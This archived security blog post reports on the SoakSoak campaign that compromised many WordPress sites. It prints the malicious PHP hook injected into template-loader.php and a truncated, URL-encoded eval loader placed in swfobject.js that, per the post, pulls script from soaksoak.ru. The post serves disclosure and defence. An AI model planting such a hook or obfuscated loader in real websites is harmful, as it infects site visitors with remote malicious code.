title: SoakSoak Malware Compromises 100,000+ WordPress Websites
description: The SoakSoak campaign compromised over a hundred thousand WordPress sites, correlating with the Slider Revolution plugin flaw. Attackers appended a wp_enqueue_script hook to wp-includes/template-loader.php so a trojaned swfobject.js loaded on every page, running an encoded eval loader that pulled further JavaScript from soaksoak.ru; Google blacklisted more than eleven thousand domains.

This Sunday has started with a bang. Google has blacklisted over 11,000 domains with this latest malware campaign from **SoakSoak.ru**:

[![Google Blacklisting - SoakSoak.ru](https://web.archive.org/web/20160414021823im_/https://blog.sucuri.net/wp-content/uploads/2014/12/Google-Blacklisting-SoakSoak.ru_.png)](https://web.archive.org/web/20160414021823/https://blog.sucuri.net/2014/12/soaksoak-malware-compromises-100000-wordpress-websites.html/google-blacklisting-soaksoak-ru)

Google Blacklisting – SoakSoak.ru

Our analysis is showing impacts in the order of 100’s of thousands of WordPress specific websites. We cannot confirm the exact vector, but preliminary analysis is showing correlation with the [Revslider vulnerability we reported a few months back](https://web.archive.org/web/20160414021823/https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html).

![Sucuri - SoakSoak RU Blacklisted](https://web.archive.org/web/20160414021823im_/https://blog.sucuri.net/wp-content/uploads/2014/12/SoakSoak-RU-Blacklisted.png)

The impact seems to be affecting most hosts across the WordPress hosting spectrum. Quick breakdown of the decoding process is available [via our PHP Decoder](https://web.archive.org/web/20160414021823/http://ddecode.com/hexdecoder/?results=fddce6c4b54a1606856bb81f3df96867).

### SoakSoak Malware Anatomy

It is modifying the file **wp-includes/template-loader.php** and including this content:

```

<?php
function FuncQueueObject()
{
  wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts", 'FuncQueueObject');

```

This causes the **wp-includes/js/swfobject.js** to be loaded on every page you view on the site which includes the malware here:

```

eval(decodeURIComponent 
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));

```

This malware when decoded loads a javascript malware from the SoakSoack.ru domain, specifically this file: hxxp://soaksoak.ru/xteas/code

If you believe you are infected you can use our [Free SiteCheck scanner](https://web.archive.org/web/20160414021823/http://sitecheck.sucuri.net/), signatures have all been updated to detect the latest redirection:
